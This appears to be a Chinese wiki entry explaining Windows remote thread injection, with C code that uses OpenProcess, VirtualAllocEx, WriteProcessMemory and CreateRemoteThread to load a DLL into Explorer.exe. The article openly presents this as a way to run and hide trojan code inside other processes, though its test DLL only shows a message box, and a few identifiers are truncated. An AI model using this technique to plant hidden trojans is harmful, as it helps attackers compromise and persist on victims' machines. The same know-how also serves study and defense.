遠程執行緒技術

遠程執行緒技術

遠程執行緒技術指的是通過在另一個進程中創建遠程執行緒的方法進入那個進程的記憶體地址空間。我們知道,在進程中,可以通過CreateThread函式創建執行緒,被創建的新執行緒與主執行緒共享地址空間以及其他的資源。但是很少有人知道,通過CreateRemoteThread也同樣可以在另一個進程內創建新執行緒,被創建的遠程執行緒同樣可以共享遠程進程(是遠程進程耶!)的地址空間,所以,實際上,我們通過一個遠程執行緒,進入了遠程進程的記憶體地址空間,也就擁有了那個遠程進程相當的許可權。例如在遠程進程內部啟動一個DLL木馬。

名詞解釋

遠程執行緒技術指的是通過在另一個進程中創建遠程執行緒的方法進入那個進程記憶體地址空間。我們知道,在進程中,可以通過CreateThread函式創建執行緒,被創建的新執行緒與主執行緒(就是進程啟動時被同時自動建立的那個執行緒)共享地址空間以及其他的資源。但是很少有人知道,通過CreateRemoteThread也同樣可以在另一個進程內創建新執行緒,被創建的遠程執行緒同樣可以共享遠程進程(是遠程進程耶!)的地址空間,所以,實際上,我們通過一個遠程執行緒,進入了遠程進程的記憶體地址空間,也就擁有了那個遠程進程相當的許可權。例如在遠程進程內部啟動一個DLL木馬(與進入進程內部相比,啟動一個DLL木馬是小意思,實際上我們可以隨意篡改那個遠程進程的數據)。

實際套用

首先,我們通過OpenProcess 來打開我們試圖嵌入的進程(如果遠程進程不允許打開,那么嵌入就無法進行了,這往往是由於許可權不足引起的,解決方法是通過種種途徑提升本地進程的許可權)
 hRemoteProcess = OpenProcess( PROCESS_CREATE_THREAD | //允許遠程創建執行緒
PROCESS_VM_OPERATION | //允許遠程VM操作
PROCESS_VM_WRITE,//允許遠程VM寫
FALSE, dwRemoteProcessId )
  由於我們後面需要寫入遠程進程的記憶體地址空間並建立遠程執行緒,所以需要申請足夠的許可權EATE_THREAD、VM_OPERATION、VM_WRITE)。
 然後,我們可以建立LoadLibraryW函式這個執行緒來啟動我們的DLL木馬,LoadLibraryW函式是在rnel32.dll中定義的,用來載入DLL檔案,它只有一個參數,就是DLL檔案的絕對路徑名pszLibFileName,(也就是木馬DLL的全路徑檔案名稱),但是由於木馬DLL是在遠程進程內調用的,所以我們首先還需要將這個檔案名稱複製到遠程地址空間:(否則遠程執行緒是無法讀到這個參數的)
 //計算DLL路徑名需要的記憶體空間
 int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);
 //使用VirtualAllocEx函式在遠程進程的記憶體地址空間分配DLL檔案名稱緩衝區
 pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb, MEM_COMMIT, PAGE_READWRITE);
 //使用WriteProcessMemory函式將DLL的路徑名複製到遠程進程的記憶體空間
 iReturnCode = WriteProcessMemory(hRemoteProcess,
 pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);
 //計算LoadLibraryW的入口地址
 PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
 GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
OK,萬事俱備,我們通過建立遠程執行緒時的地址pfnStartAddr(實際上就是LoadLibraryW的入口地址)和傳遞的參數pszLibFileRemote(實際上是我們複製過去的木馬DLL的全路徑檔案名稱)在遠程進程內啟動我們的木馬DLL:
 //啟動遠程執行緒LoadLibraryW,通過遠程執行緒調用用戶的DLL檔案
 hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0,pfnStartAddr, pszLibFileRemote, 0, NULL);
至此,遠程嵌入順利完成,為了試驗我們的DLL是不是已經正常的在遠程執行緒運行,我編寫了以下的測試DLL:
 BOOL APIENTRY DllMain(HANDLE hModule, DWORD reason, LPVOID lpReserved)
 {
char szProcessId[64] ;switch ( reason )
 {
case DLL_PROCESS_ATTACH:
 { 
//獲取當前進程ID
 _itoa ( GetCurrentProcessId(), szProcessId, 10 );
 MessageBox ( NULL, szProcessId, "RemoteDLL", MB_OK );
 }
default:return TRUE; } }
當我使用RmtDll.exe程式將這個TestDLL.dll嵌入Explorer.exe進程後(PID=1208),該測試DLL彈出了1208字樣的確認框,同時使用PS工具也能看到
 Process ID: 1208
 C:\WINNT\Explorer.exe (0x00400000) …… C:\TestDLL.dll (0x100000000) ……
這證明TestDLL.dll已經在Explorer.exe進程內正確地運行了。
無論是使用特洛伊DLL還是使用遠程執行緒,都是讓木馬的核心代碼運行於別的進程的記憶體空間,這樣不僅能很好地隱藏自己,也能更好的保護自己。
這個時候,我們可以說已經實現了一個真正意義上的木馬,它不僅欺騙、進入你的計算機,甚至進入了進程的內部,從某種意義上說,這種木馬已經具備了病毒的很多特性,例如隱藏和寄生(和宿主同生共死),如果有一天,出現了具備所有病毒特性的木馬(不是指蠕蟲,而是傳統意義上的寄生病毒).

相關詞條

相關搜尋

熱門詞條

聯絡我們